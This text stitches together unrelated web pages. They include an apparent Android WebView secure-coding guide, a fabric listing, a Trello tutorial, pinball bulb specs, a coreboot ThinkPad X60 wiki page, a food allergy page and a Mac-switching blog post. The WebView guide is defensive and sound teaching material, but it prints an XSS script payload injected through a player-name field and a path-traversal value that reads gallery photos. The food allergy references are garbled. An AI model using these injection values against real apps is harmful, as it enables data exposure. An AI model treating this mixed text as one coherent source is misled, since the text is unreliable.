Everything nowadays is all about connectivity and delivering a great, secure and transparent browsing capability. With this in mind, web-based content can be embedded into Android applications using a resource called WebView. Using this component brings many functionalities, but it can also be a huge risk. That is why assuring WebView secure coding is so important.
WebView is a system component that allows Android apps to display content from the web directly inside an application, creating the concept of hybrid apps. An app can be Native, Hybrid or Web (HTML5).
A Native app has to be installed on the device, as the Web app runs on the browser with no need for installation. The Native approach will use the operating system’s supported language, which in Android’s case is Java (Objective-C in iOS systems, C# in most Windows Phones), and the Web approach will use HTML5, JavaScript and CSS.
The WebView allows a Hybrid approach, the creation of Native apps that load local or external web content. This combines the strength of Native apps (more performance and functionality) with the strength of Web apps (portability) and is the reason why many companies are using it today.
Until Android 4.3 (Jelly Bean), the WebView was based on WebKit and had some security and performance issues. This conducted manufacturers, including Samsung and HTC to replace the default WebView with a modern version of WebKit or Chromium (Open source version of Chrome with Blink and V8 JavaScript engine) which is more stable and supports modern HTML5 features. Currently and following Android 5.0 (Lollipop), the WebView is on an APK and can be updated separately from the operating system.
The focus of this guide is to provide ground programming guidelines that can minimize the risk of developing a vulnerable app. The WebView component has been strengthened over the years but can still be easily abused if no security measures are followed during implementation.
Loading Clear-Text Content
Loading Clear Text Content (LCTC) consists of loading web content without encrypting traffic, making it vulnerable to Man-in-the-Middle (MitM) attacks. This kind of attack can lead to the leakage of sensitive information or traffic manipulation.
If credentials are obtained during a MitM attack, the attacker can then assume the victim’s identity for that specific website. In addition to other information that may be gathered (such as the email address), the consequences can be much worse as it is well known that users reutilize the same password for several different services.
In the following image, it is possible to see an example of clear text content loaded from a login web page where credentials are easily intercepted:
Without enforcing encryption through SSL/TLS, the attacker can also make changes to the intercepted traffic to, for instance, inject a keylogger in the HTTP response and then gather much more information from the user.
The Java code in this example is shown below. The use of HTTP protocol should be replaced by HTTPS. Using SSL/TLS requires a properly signed certificate installed on the web server but it is a completely worth implementation.
Vulnerable Code:
Keep in mind that since API 23 (Marshmallow) there is the “android:usesCleartextTraffic” flag that can be set to false on the Manifest to prevent clear text content from being loaded. Its default value is true.
SSL Error Handling
As we previously said, improper SSL Error Handling can lead to severe security breaches. By default, a WebView will not load web content if errors are detected during the SSL/TLS negotiation. The most common scenario in which these errors happen is when the server certificate is not signed by a recognized authority.
Instead of obtaining a properly signed certificate, many development companies choose to implement bypassing mechanisms that ignore certificate errors. With this approach, there is no need for a valid certificate but the application becomes vulnerable to Man in the Middle (MitM) attacks, presenting the same risk as the situation described in the section above. With the help of a homemade invalid certificate, the attacker is able to intercept and manipulate traffic.
In the following example, a WebView was implemented to load the webpage A MitM attack was performed and the result in the victim device is an empty screen because the WebView detected the invalid certificate and didn’t establish the connection to the GitHub server.
The following error is displayed on the debugger:
If a bypassing mechanism to SSL errors is implemented, the attacker is able to fulfill the attack. This is shown in the following image where traffic interception and HTML code injection were performed by the attacker after the bypassing mechanism was implemented. The GitHub page is now loaded and the injected code is executed.
As mentioned before, the default behaviour is to block improper SSL/TLS connections. Obtaining and installing a certificate signed by a recognized authority should always be the approach to take as it is the only secure option.
Enabling JavaScript
JavaScript execution is disabled by default on WebViews. This behaviour is changed with the “setJavaScriptEnabled” function and the first recommendation is to maintain the default behaviour if there is no need for client side scripting. This way, the app becomes resilient to Cross-Site Scripting (XSS) attacks and reduces the consequences of a Man in the Middle (MitM) attack.
A common attack vector for mobile apps are ads. Advertisements from external sources are often loaded in WebViews and blocking JavaScript execution is a good way to prevent malicious code from being injected and protect the app users.
image7_blogIn a scenario where JavaScript is mandatory, all inputs should be sanitized to prevent XSS attacks. Other measures must be implemented to strengthen the application and will be described later in this blog post.
To fully understand the danger of JavaScript execution and its direct relation to XSS attacks, a small application was developed. It is a game that asks the user’s name at the beginning. By the end of the game, a web page is loaded from an external server in a WebView, presenting a scoreboard with the overall classification of all the players. This allows players from different devices to compete. In the following images, you see the WebView presenting the scoreboard and some of the HTML/JavaScript code.
The player’s name is printed on the scoreboard because the setJavaScriptEnabled method was called with the argument “true”. If this property is set to false, as it’s possible to observe in the next piece of code, the WebView doesn’t execute the JavaScript code and the player’s name is not shown.
If JavaScriptEnabled is set to “true” again, this application is vulnerable to XSS. At the beginning of the game, the user provides his name and this input is not properly sanitized.
So, if the value “Player’s name<script>window.location.href=’’;</script>” is introduced at the end of the game, the scoreboard WebView will render this injected malicious code and instead of showing the scoreboard, it will show the contents of, as you can see in the following image.
XSS can lead to very severe consequences. In conclusion, disable JavaScript if possible.
Accessing Local Resources
It is possible for a WebView to access local resources by default, although some restrictions are enforced. These restrictions may vary with the API being used. Here is a list of methods that can be used to change the WebView default permissions:
• setAllowContentAccess – its default value is “true” and allows the WebView to access content providers. Content providers are usually created to allow secure data sharing between applications.
• setAllowFileAccess – its default value is “true” and allows the WebView to load content from the filesystem. For this a “file:///” schema is used.
• setAllowFileAccessFromFileURLs – its default value is “false” since API 16 (Jelly Bean), before this version was “true” by default. It allows JavaScript from local webpages that are rendered inside WebViews and called with a “file:///” schema to access resources on the filesystem. This setting is ignored if the method setAllowUniversalAccessFromFileURLs() is called with the parameter “true”.
As described above, the WebView can load local resources by default and the “file:///” schema must be used with caution because it may lead to unauthorized file access.
For awareness, a small vulnerable app was prepared and a successful attack is described next. The vulnerable app is a game and uses a WebView to display the player’s avatar, relying on the following code:
If it is possible to manipulate the player’s name in the application, controlling the result of the showPlayerName function, allowing other files to be obtained from the local system instead of the user’s avatar. If an attacker controls image13_blogthe showPlayerName function in a way that it returns the value “../../../storage/emulated/0/Pictures/pic001.jpg”, an image from the smartphone photo gallery is displayed in the WebView, as it is shown below.
Avoid allowing the WebView to access local files in a dynamic way. If a static implementation is not possible, analyse the option of keeping the default “false” value in the methods “setAllowFileAccessFromFileURLs” and “setAllowUniversalAccessFromFileURLs”.
Using JavascriptInterfaces
The JavascriptInterfaces allow JavaScript code rendered in the WebView to call Java methods implemented in the app. This is a very powerful feature as it allows web pages in a WebView to interact with all the device features, such as the camera, microphone or the SMS manager.
Despite bringing outstanding features, they are also considered a huge security risk. This is because the attacks referred to in the sections above can have much more impact, if succeeded, by interacting with the app code.
Until API 17 (Jelly Bean – Android 4.2), JavascriptInterfaces were always directly associated with critical risk levels because of a code execution vulnerability (CVE-2012-6636). They weren’t properly restricted and allowed the execution of arbitrary methods of Java objects, using the Java Reflection API within crafted JavaScript code loaded in a WebView.
From API 17 up until the most recent versions, an annotation must be declared on the exposed native functions with “@JavascriptInterface”, and only those annotated methods will be exposed to the JavaScript code.
Due to this security implementation, it is recommended to compile applications against Android API level 17 or above. By forcing the addition of the “@JavascriptInterface” annotation, it prevents accessing to operating system commands via java.lang.Runtime.
Keep in mind that JavascriptInterfaces may allow Cross-Site Scripting (XSS) and Man in the Middle (MitM) attacks to reach the application’s exposed methods. Additional security measures must be implemented in these methods to prevent damage in case they are called from malicious code.
Validating Content from Third-Parties
Knowing that WebViews are commonly vulnerable to Cross-site Scripting (XSS) and Man in the Middle (MitM) attacks it is advised to implement additional security restrictions, providing a safer environment to the application’s users.
Validating the origin of the content being loaded by the WebView is a good security precaution. It can be implemented by overriding the shouldOverrideUrlLoading and the shouldInterceptRequest methods.
The shouldOverrideUrlLoading is related to the opening of new web pages by the WebView. The shouldInterceptRequest is more intrusive, allowing the control of every resource accessed by a web page loaded in a WebView.
To demonstrate the effectiveness of implementing one of these security measures, the example given earlier (Enabling JavaScript) can be used. It consists in a successful XSS attack that redirects the WebView to an evil page. This redirection can be blocked by overriding the shouldOverrideUrlLoading method, as it is demonstrated in the following image.
image15_blogThe code shown above restricts the WebView of this app to only load web pages from the Checkmarx domain. Notice that the original URLhttp:// be loaded correctly.However, if the XSS attack from earlier (Enabling JavaScript) is performed, the URL is replaced by the contact us Checkmarx page. This is demonstrated in the following image.
This is a very effective way to secure the WebView. Additional features can be added, such as an alert in case of attack detection.
This is part one of a four-part series. Click here to read part two.
Android WebView Local File Access Restriction Bypass (CVE-2014-6041 and notfound trick):;
Android WebView:;
Attacks on WebView in the Android system, 2011;
Automatically Detecting SSL Error-Handling Vulnerabilities in Hybrid Mobile Web Apps, 2015
Bug Bounty, 2 years in:;
Bulletproof Android: Practical Advice for Building Secure Apps, 2014
Cross-site Scripting Attacks on Android Hybrid Applications, 2017;
Cross-site Scripting Attacks on Android Hybrid Applications:;
Do not allow WebView to access sensitive local resource through file scheme:;
Draco: A System for Uniform and Fine-grained Access Control for Web Code on Android, 2016;;
Java Script Injection Vulnerability in Android Apps – Android App Security:;
Javascript to Java Bridge:;
Secure Integration of Web Content and Applications on Commodity Mobile Operating Systems, 2017;
The Mobile Application Hacker’s Handbook, 2015;
Webview selection from user access patterns, 2007;
WebView addJavascriptInterface Remote Code Execution:;
Attacks on Android WebViews:;
WebView Vulnerabilities in Android Applications:;
Follow WebView Best Practices:
Android Security Tips:
Adventures with Android WebViews:
Android WebViews and the JavaScript to Java Bridge:
Android WebKit:
Android WebView:
High Performance Mobile Web, 2016;
What is a hybrid mobile app:
Android WebKit WebSettings:
Securing WebViews in Android Applications:
Secure Usage of Android WebView:
Penetration Testing Lab:;
Android WebView Vulnerabilities:;
Jump to Category |
global_01_local_0_shard_00002368_processed.jsonl/54463 | Striped velvet, where some stripes rise above others for a particular 3D effect.
They in fact stand out against the ground in that created by the combination of
the cut velvet pile with the chenille pile. As well as producing a raised surface,
the combination of velvet and chenille creates a rich variety of shines which add
to the geometric decoration. The sophisticated mix of colours comes from the
blending and interweaving of warps and wefts of different shades.
Suitable for heavy use, it is available in 6 colours. |
global_01_local_0_shard_00002368_processed.jsonl/54481 | Editors Note: Today's post is by Erin Kurup of {re]made by hand.
Let's face it: most to-do lists are boring to look at. And if you're a visual person, plain old list format might not even work well for you in the first place.
Enter Trello, a free online project management tool. It turns a boring list into something you can drag, drop, color code, and manipulate in a way traditional lists don't allow.
Trello is also highly versatile. There are tons of ways to set it up. I've developed an approach I like, but really it's just a suggestion. I hope you'll feel free to create a system that works for you.
Trello Terms
Like many web apps, Trello has its own vocabulary for different site components. The three most important terms are:
• Board: A workspace. You see one workspace at a time when you log in to Trello. You can share individual boards with other people if you work on collaborative projects without sharing your whole account. The system I'll show you uses two boards.
• List: A sub-region of a board. A list is a way of breaking your bigger workspace down into related sub-spaces, which appear as vertical columns within the board. You can add as many lists as you want to each board.
• Card: An item in a list, such as a task. You can add a due date, a checklist, notes, attachments, and any of six color-coded labels to each card. You can drag and drop cards between lists and even move them between boards. You can also assign cards to other people, if you use Trello collaboratively.
Take a look at the following screen shot to get a sense for how the various Trello elements fit together:
Board #1: This Week's Projects
The first of my two main Trello boards is called This Week's Projects. It's my go-to Trello board, and it has four lists:
• On Deck: All the tasks (cards) I want to accomplish in a particular week. I build it at the start of each week and create my daily to-do lists from the tasks in it.
• Today: The to-do items (cards) I want to accomplish that day. I create it the night before, at the end of my work day, using tasks from the On Deck list.
• Waiting For/On Hold: Tasks (cards) from On Deck or Today that I'm not working on actively, either because something I have no control over has to happen before I can move forward on them or because I've started the task but decided to put it off for some reason.
• All Done: Tasks (cards) I've completed. Moving cards here is like crossing tasks off of a to-do list. At the end of each week, when it's time to build the next week's lists, I clear out the cards on this list. (Trello calls this process “archiving.”) It's rewarding to see what I've accomplished each week as I do so!
Here's a look at part of my This Week's Project board, so you can see this set-up in action:
But, you might be asking, where do the cards in the On Deck list come from?
Board #2: The Big Picture
I call my second main Trello board the Big Picture. On it I keep a list for every project I'm working on, both personal and professional. (Yes, there are a lot of lists!) When my notes about a particular project become concrete enough that I can break them into discrete and manageable tasks, I create a card for each task, in the order I plan to do them, in the appropriate list in my Big Picture board.
Each week, when it's time to make my On Deck list in This Week's Projects, I open up the Big Picture board. Using each card's “Move” option, I send the cards I want to focus on that week from the Big Picture board to This Week's Projects. Voila — my project-specific to-do list for the week is done!
The Benefits of Going Visual
What I love about Trello is that it allows me to visualize what I have to do, all laid out in a graphical manner. I can clearly see which projects have the most tasks and decide whether to spread my work amongst several projects or focus on a particular one.
I also like how easy it is to reorder lists on a whim. I prefer to keep tasks in the order in which I plan to tackle them, but you could take a different approach. And if you decide to change your system, Trello's flexibility gives you room to experiment.
The other powerful visual component to Trello is color coding. My system is based on heat mapping. You could color code by project, how long the project will take you to complete, the location you have to be in to do the task — anything that makes sense to you.
Just a heads-up: Color coding does not transfer between boards, because each board has its own system of labels. On the one hand, this set-up allows you to code different boards in different ways. On the other hand, if you use the same system throughout Trello, you'll have to reapply any color coding when you send a card to a new board.
For me, Trello has filled a key role in my overall productivity system. I hope you've found something helpful here as well.
What about you?
I'd love to hear: How to you keep track of your project-related to-do items?
Erin Kurup is an editor who specializes in helping solo entrepreneurs brand their websites and create digital products that rock. She makes her online home over at {re}made by hand.
Pin It on Pinterest
Share This |
global_01_local_0_shard_00002368_processed.jsonl/54488 | Oceans in Space
Oceans In Space is a journey of exploration that seeks out places where conditions are favorable for life to exist. This original and thought-provoking presentation highlights the search for extrasolar planets and an understanding of the conditions necessary to form and sustain life. Inspired in part by the goals of NASA's Origins Program -- an effort to answer the enduring questions that spur space exploration -- this program introduces audiences to the diversity of life on our home planet even as humans embark on the search for life in the universe.
The show travels back in time more than five billion years, to trace the origin and evolution of the solar system from a cloud of gas and dust. It then describes the formation of our planet's oceans, and speculates about the places where life could have begun nearly four billion years ago. It presents the three requirements for the nourishment of life on Earth -- and most likely anywhere else in the universe: warmth, water, and organic material. |
global_01_local_0_shard_00002368_processed.jsonl/54499 | Retro SMD Bullet Bulbs
• $0.59
Click buttons for bulk discounts
25 Packs 100 Packs
SMD Retro Bullet bulbs are for those who want the brightness of an incandescent with the long-lasting performance of an SMD. Their taller profile makes them an almost exact match to incandescent lamps and makes above playfield installation a breeze! A great throwback bulb, particularly if you want to mimic the level of light found in EM pinball machines. (Warm White is best choice if you want a warm/yellow glow on your whites).
They're designed with general illumination in mind. *Clear domes can cause haloing on plastics and in the backbox. We recommend frosted domes unless installing under plastic protectors.
Why do these exist?
We've been selling lots of 1LED and 2LED bulbs over the years, but many people have found them lacking in longevity, particularly when used for general illumination, and games on location.
We've discontinued these LED-style bulbs and are switching over to SMD-style bulbs, which are something we can proudly stand behind in terms of performance. They are more expensive, but need to be replaced far less often, so the lifetime cost of lighting your game is far lower.
Product Specs
Voltage 6.3v
Brightness 1.0x
Diode Size one (dimmed) 2835 diode
Special Properties 10mm (bullet) dome |
global_01_local_0_shard_00002368_processed.jsonl/54516 | Difference between revisions of "Board:lenovo/x60"
From coreboot
Jump to: navigation, search
(Cover all x60 variants)
(Add touchscreen status, fake the table so we don't effect the other pages)
Line 60: Line 60:
|COM1_comments = located in Ultrabase X6
|COM1_comments = located in Ultrabase X6
|COM2_status = N/A
|COM2_status = N/A
|COM5_status = WIP
|COM5_comments = x60 tablet wacom "penabled" touchscreen
|PP_status = N/A
|PP_status = N/A
|PS2_keyboard_status = N/A
|PS2_keyboard_status = N/A
Line 87: Line 85:
|Flashrom_comments = See [[Lenovo_x60x]]
|Flashrom_comments = See [[Lenovo_x60x]]
{| border="0" style="font-size: smaller" valign="top"
|- bgcolor="#6699dd"
|- bgcolor="#6699ff"
| colspan ="9" | '''Laptop specific'''
{{Statusitem|Name=Tablet Touchscreen|Status={{{COM5_status|WIP}}}|Comments={{{COM5_comments|x60 tablet wacom "penabled"}}}}}
== proprietary components status ==
== proprietary components status ==
Revision as of 11:25, 19 December 2013
Lenovo ThinkPad X60
Except where noted all status items apply to:
• x60
• x60s
• x60 tablet
Device/functionality Status Comments
CPU works OK Core Duo Mobile (L2300), PBGA479
L1 cache enabled OK
L2 cache enabled OK
L3 cache enabled N/A
Multiple CPU support N/A
Multi-core support OK
Hardware virtualization OK
Dual channel support OK
ECC support N/A
On-board Hardware
On-board IDE 3.5" N/A
On-board IDE 2.5" N/A
On-board SATA OK
On-board SCSI N/A
On-board USB OK
On-board VGA OK
On-board Ethernet OK Intel 82573L
On-board Audio OK
On-board Modem Untested
On-board FireWire N/A
On-board Smartcard reader N/A
On-board CompactFlash N/A
On-board PCMCIA OK Ricoh rl5c476
On-board Wifi N/A
On-board Bluetooth N/A
On-board SD card reader N/A
Add-on slots/cards
ISA add-on cards N/A
PCI add-on cards N/A
Mini-PCI add-on cards OK
Mini-PCI-Express add-on cards Unknown
PCI-X add-on cards N/A
AGP graphics cards N/A
PCI Express x1 add-on cards N/A
PCI Express x2 add-on cards N/A
PCI Express x4 add-on cards N/A
PCI Express x8 add-on cards N/A
PCI Express x16 add-on cards N/A
PCI Express x32 add-on cards N/A
HTX add-on cards N/A
Legacy / Super I/O
Floppy N/A
Serial port 1 (COM1) OK located in Ultrabase X6
Serial port 2 (COM2) N/A
Parallel port N/A
PS/2 keyboard N/A
PS/2 mouse N/A
Game port N/A
Infrared Untested
PC speaker N/A
DiskOnChip N/A
Trackpoint N/A
Touchpad N/A
Fn Hotkeys N/A
Fingerprint Reader N/A
Docking VGA N/A
Docking LAN N/A
Docking USB N/A
Docking Audio N/A
Docking Displayport N/A
Thinklight N/A
Webcam N/A
Sensors / fan control OK
Hardware watchdog N/A
CAN bus N/A
CPU frequency scaling OK
Other powersaving features OK
Reboot OK
Poweroff OK
Suspend OK
High precision event timers (HPET) OK
Random number generator (RNG) N/A
Wake on modem ring Unknown
Wake on LAN Unknown
Wake on keyboard Unknown
Wake on mouse Unknown
TPM Unknown
Flashrom OK See Lenovo_x60x
Laptop specific
Tablet Touchscreen WIP x60 tablet wacom "penabled"
proprietary components status
• CPU Microcode (optional?)
Non-free components replacements
• Create a Native graphics<->VGA option rom.
• Make backlight work without the non-free option rom.
Other things
• Add support for more batteries in ACPI.
• Finish and merge support for thinkpad_acpi linux kernel module
• Sometimes some dock USB port aren't initialized => fix that
• Fix that warning:
By using that advise:
Without the VGA optiorn rom nvramtool says:
# ./nvramtool -a
nvramtool: coreboot table not found. coreboot does not appear to
be installed on this system. Scanning for the table produced the
following results:
0 valid signatures were found with bad header checksums.
0 valid headers were found with bad table checksums.
Fortunately there is a workarround:
boot_option = Fallback
last_boot = Fallback
baud_rate = 115200
debug_level = Emergency
hyper_threading = Enable
nmi = Disable
# Bad value -> boot_devices
boot_default = 0x40
cmos_defaults_loaded = Yes
lpt = Disable
volume = 0xc
tft_brightness = 0xf
first_battery = Primary
bluetooth = Disable
cbmem console
Looking for coreboot table at 0
Mapping 1MB of physical memory at 0x0.
Unmapping 1MB of virtual memory at 0xb7463000.
Looking for coreboot table at f0000
Mapping 1MB of physical memory at 0xf0000.
Failed to mmap /dev/mem: Operation not permitted
[root@X60 cbmem]# dmesg -c
Using fmem doesn't work either:
Looking for coreboot table at 0
Mapping 1MB of physical memory at 0x0.
Unmapping 1MB of virtual memory at 0xb74ae000.
Looking for coreboot table at f0000
Mapping 1MB of physical memory at 0xf0000.
Unmapping 1MB of virtual memory at 0xb74ae000.
No console found in coreboot table.
[root@X60 cbmem]# dmesg -c
[26404.984342] fmem init_module 449: init
[26404.984349] fmem find_symbols 439: set guess_page_is_ram: c10440b0
Go in console:
Console --->
Enable it:
[*] Send console output to a CBMEM buffer
(0x10000) Room allocated for console output in CBMEM
(0xc00) Room allocated for console output in Cache as RAM
thinkpad_acpi compatibility
The following commit might be interesting to cherry-pick:
git fetch http://review.coreboot.org/coreboot refs/changes/03/3403/3 && git cherry-pick FETCH_HEAD
Dmidecode from the BIOS says:
BIOS Information
Vendor: LENOVO
Version: 7BETC7WW (2.08 )
So in make menuconfig go in
General setup --->
And modify Local version string accordinly
(7BETC7WW (2.08 )) Local version string
Then locate the following in dmidecode:
System Information
Manufacturer: LENOVO
Product Name: 1707Y8W
Version: ThinkPad X60
Serial Number: L3BY949
Then in
Mainboard --->
do that:
(L3BY949) Serial number
(ThinkPad X60) Version number
(LENOVO) BIOS table vendor string
(ThinkPad X60 / X60s) BIOS table part number string
Then configure and build coreboot as usual
To modprobe the module use that:
The module should now load automatically... |
global_01_local_0_shard_00002368_processed.jsonl/54521 | Listen to a New Miley Cyrus Song Called "Nightmare"
It surfaced online this week.
Getty Images
Alert! Alert! There's a new Miley Cyrus song. Reportedly titled "Nightmare," the unreleased track surfaced online Tuesday. As SPIN notes, it's not clear whether this is an outtake from Bangerz or something from Miley's mysterious next album, but its upbeat tempo does read more like early Miley than current, Flaming Lips-collaborating Miley. Either way, it's delightful. Listen below before it disappears:
Follow Eliza on Twitter.
Advertisement - Continue Reading Below
More From Music |
global_01_local_0_shard_00002368_processed.jsonl/54533 | Session Catalogue
Annotation 2019-10-24 155321
Substantive Law
The rule in Browne v Dunn: ‘What?’, ‘Why?’, ‘Who?’ and ‘How?’
$295.00 $199.00
Annual membership, access to the full CPD session catalogue.
Full Description
In this CPD there will be discussion on a rule that was cemented into the common law by the House of Lords more than 125 years ago. What is it, why do we have it, who must follow it, and how?
|
global_01_local_0_shard_00002368_processed.jsonl/54564 | Graphic Organizer/Worksheet
This project examines how a new culture was created in the 20s through advertisement.
• Social Studies > General
• Social Studies > United States History
Education Levels:
• Grade 9
• Grade 10
• Grade 11
• Grade 12
1920 decade advertising culture
Access Privileges:
Public - Available to anyone
License Deed:
Creative Commons Attribution 3.0
This resource has not yet been aligned.
Curriki Rating
On a scale of 0 to 3
On a scale of 0 to 3
This resource was reviewed using the Curriki Review rubric and received an overall Curriki Review System rating of 2, as of 2010-04-06.
Component Ratings:
Technical Completeness: 3
Content Accuracy: 1
Appropriate Pedagogy: 2
Reviewer Comments:
This resource is a handout that guides students through the process of creating an advertisement about the Culture of the 1920s. The assignment asks students to choose a product and create an image and a slogan to capture the time period. Although the lesson does not include the background content, this would be a valuable culminating activity to assess whether students learned about the historical era. It is recommended that a sample project be shown to the students in order for them to be clear on the expectations of the assignment.
sreenu yadav
March 25, 2013
Non-profit Tax ID # 203478467 |
global_01_local_0_shard_00002368_processed.jsonl/54570 | Several of my recent private clients have horizontal forehead lines that are quite pronounced. You may see those very lines when you look in the mirror. Save your money if you’re thinking about topical treatments that are just fluff because when it comes to repetitive motions like forehead lines and wrinkles, behavior modification is your best solution.
Oh sure, you could have the area paralyzed with a toxin but that doesn’t cure anything – it’s a mask in more ways than one.
What does work is this: set up a mirror at your desk. Watch your face, particularly your forehead as you talk on the phone, work on your computer and interact with your co-workers. The mirror feedback will demonstrate how often you are making these motions.
So how do you master this action? Simply by touching the area with your ring finger will stop a frown. Oh sure, that sounds simple but it works. Give it a try…! |
global_01_local_0_shard_00002368_processed.jsonl/54576 | What is Food Allergy?
Symptoms of Food Allergy:
Most food-related symptoms occur within minutes. Symptoms of a food allergy can affect different areas of the body at the same time. Some common symptoms include:
Allergic reactions can be mild, however some can be life threatening. The most severe form of allergic reaction is known as anaphylaxis, symptoms include, breathing difficulties, increased heart rate, collapsing or losing consciousness.
What Causes Food Allergies?
Allergy happens when your body’s natural defenses overreact to exposure to a particular substance, treating it as an invader and sending out chemicals to defend against it.
While allergies tend to run in families, it is impossible to predict whether a child will inherit a parent’s food allergy or whether siblings will have a similar condition. Some research does suggest that the younger siblings of a child with a peanut allergy will also be allergic to peanuts.
While any food can trigger an allergic reaction, eight types of food account for about 90 percent of all reactions:
In a number of countries, certain seeds such as sesame seeds are also common food allergy triggers and considered a major allergen.
Management & Treatment
Unfortunately, there is currently no cure for food allergies, however there have been many cases of children who are able to outgrow their food allergies, especially milk and egg allergies.
The primary way to manage a food allergy is to avoid consuming the food that causes you problems. Carefully check ingredient labels of food products, and learn whether what you need to avoid is known by other names.
National Health Service. 2016. Living with Food Allergies. NHS,. https://www.nhs.uk/conditions/food-allergy/living-with/ [18 February 2019].
Valenta, R., Hochwallner, H., Linhart, B. & Pahr, S. 2015. Food Allergies : The Basics. Gastroenterology, 148(6), 1120–1131. condition induced by mental tasks. Amino Acids, 43, pp.1331–1337. |
global_01_local_0_shard_00002368_processed.jsonl/54586 | A hardcore Windows guy gets a Mac
I have been a Windows developer for many, many years. Before I was a Windows developer I was a DOS developer. I've always been a Microsoft fan, heavily invested in doing Windows development. Really, since 1984 - my first job doing professional software development - I have been true blue Microsoft. When I would watch the Mac ads with the nerdy PC guy and the cool Mac dude I always secretly rooted for the PC guy.
Last year something interesting started to happen. Many of the people in my network of friends and family started buying Macs. They were sick of the hassles of Windows, with the viruses and spyware and ever slowing performance. They seemed to be drawn in to the Apple advertising - it spoke to them. And they seemed very happy.
I wrote that off as non-techies just looking for something new and easy. The Macs did look better with Mac OS X - it seemed like a really smooth operating system. But as far as I was concerned it was just a fad.
Then my daughter was accepted to go to Virginia Tech. She wanted to be a Marketing Communications major so we started looking into everything she would have to buy, including a mandatory PC. I was excited to go out and get her a new laptop with XP or Vista on it until I read that her department required Macintosh. What?!? They said they were "easier" and had fewer problems. Of all the departments for her to want to be in this was the only one that required Macintosh. I was really pissed and so was my daughter. Having been brought up on PCs she wasn't ready to deal with a whole new OS. We decided to simply cave and get her a Mac - a little white MacBook.
At first she struggled with it, trying to figure out how to do the things she was so comfortable with before. When she came home for her first visit however her attitude had changed. She really liked her Mac. Hell, loved the little thing.
"Don't get near my Mac!!!"
She had her music on it, happily surfed the web and used it for e-mail. She got MS Office from the school really cheap and was extremely happy now. This was not what I had expected.
The final straw for me in reevaluating the Macintosh was when two friends of mine that were long time PC guys, heavy techies that were also developers, went out and got Macs. They raved about the machines, talking about how nicely put together everything was and how stuff just worked really well. The funny thing was neither of my friends cited real, hard specific things. It was more a feeling. "I love my Mac". It just seemed so personal.
All of these events led me to think maybe I should get one of these. I could easily justify it because while I have an XP development machine, a Vista laptop, and an Ubuntu workstation, I didn't have a Mac to be able to test the web sites I build. The Safari browser had always been touchy so having a machine that would let me test stuff right away made sense. Yeah, that's it - this is for testing my web based applications!
With the justification out of the way I talked to people about which one I should get, agonized about what would work best and meet my limited needs. I chose a MacBook; essentially the same machine my daughter has. 2.2GHz processor, 2GB RAM, 120G hard drive. Pretty basic.
So what I want to do on this blog is give you a play by play of a hard core Windows guy experiencing a Macintosh for the first time. I'll try to make this as light as I can, focusing on what I find cool and what is a challenge.If you're a Windows person thinking of moving to Macintosh I hope this is of help.
Initial impressions:
Really nice piece of hardware. Screen is really beautiful and somehow feels much bigger than 1280x800. It doesn't have the little fragile things my HP has, with eject buttons protruding and threatening to break off. If nothing else the MacBook design and engineering team knows how to build something that looks really, really nice.
One thing I was surprised by was the keyboard. It looks like a little chicklet keyboard off the PC JR from the early 80s! I thought it would be odd to type on it. I was wrong. The keyboard is a pleasure to type on - very easy to touch type with and the travel on the keys is nice.
It is taking me some time to adjust to the shortcut combinations for navigation and selection though. On Windows I'd hit Ctrl-Right arrow to move the cursor right one word at a time. With Macintosh it's Option (Alt). I'm also used to hitting the End key to pop to the end of the current line of text.  Since this is a laptop keyboard without an End key I now have to hit Command-Right arrow. No big deal, just something to get used to.
Getting started with the Macintosh was pretty easy, with one exception. When it tried to detect my wireless network it prompted me to enter the password for it - it really needed the WEP key. I knew it immediately but I can imagine that someone that was non-technical would need an explanation on that one.
What was completely refreshing though was the complete lack of AOL links, "Free" anti-virus software, Weatherbug, etc., etc. Yeah, it asked me to join the .MAC service (declined) but that was really it. Within a couple of seconds I was able to start surfing the web. The last machine I bought - the one that became my Ubuntu workstation - came with Vista Home Edition. That thing had so much crap on it from HP that the machine was essentially useless out of the box. That's probably more on HP than Vista but with Apple I didn't have to worry about that at all.
Overall, my first impression of the MacBook is very good. My friend Bradley, a heavy techie Windows guy and recent Mac convert, was trying to explain to me why he likes his Mac so much. It's funny but he couldn't really describe it other than to say he really loves his Mac. There's just something about it that makes it feel special.
Always the sceptic I guess I had to try it for myself. I think I'm starting to get why he likes his Mac so much.
Update as of April 7, 2008:
Since I published this initial post I have received over 100K hits on this page. Many folks comments, both here and on Digg, question the depth of this review. It was written on the first day I had my Mac so it's clearly light. If you look through the archive on the left you will see that I've been writing about it steadily for over two months now. My latest post, "After 2 months, why I switched" contains a summary if you are interested.
Thanks for reading!
Anonymous said…
You've joined fellow PC-enthusiast Chris Pirillo in the switch. Check out his 50 reasons to switch from MS Windows to Apple OS X post.
David Alison said…
Hey Nicholas - I just read that post yesterday! I really like his list, I think he hits everything right on the mark and it's clear that he's not just towing the fanboy line.
Anonymous said…
Congrats on the Mac. I, too, am a long time Windows and DOS developer. I was just tired of running multiple anti-virus programs and anti-spyware programs just to surf the web at home. The funny thing is, I work for Microsoft as a contractor.
But I would not change a thing. I love the Mac; the hardware, the software. It has been a big change for me, but I am learning to get by and I love giving coworks a hard time about their computer crashes.
David Alison said…
I've given up hassling my non-Mac friends to at least try it out. By far the biggest relief since moving to Mac has not been worrying about the viruses and Spyware. I'm sure as the popularity of the Mac continues to grow this platform will start to get the attention of the haxors of the world but right now I'm enjoying the respite.
Brad Spry said…
You can fix the home/end problem! Download Doublecommand:
It's a keyboard remapper for Mac.
You'll need this for your programming anyway, to set your keys the way you like in a terminal.
I use it to remap keys so my IBM Model M keyboard can be used perfectly on my Mac! Yea, it's the clicky one from 1984! Now that's a programmers keyboard. You should have:
David Alison said…
@kannapolis: Dude! I used to love clicky keyboards. I even have one of these:
My Mac's Keyboard
Old school FTW!
Actually I try to adjust to each system's keyboard. Remapping makes me feel like an idiot if I try to use someone else's machine. Since I'm pushing to get all Macs in the house anyway were' in a nasty transition state. Thanks for the links though!
BookingAlong said…
Love the Mac but I still use my PC for many things, too. I'm in transition, I guess....and when I reach the tipping point, I'll be fully Mac friendly. :)
Anonymous said…
One of us David. One of us.
Anonymous said…
I'm relatively young - 21 - but my dad was a software developer for DOS/Windows as well, so along with that came using my first PC (IBM Monochrome, 10mb HD, 128k RAM - If I recall correctly) at age 2. Pac-Man. I made the switch to Mac about two years ago and have been LOVING it. I still like Windows XP though, and even though my current machine is a MacBook, I have plans to build a windows desktop sometime in the next few months.
Anonymous said…
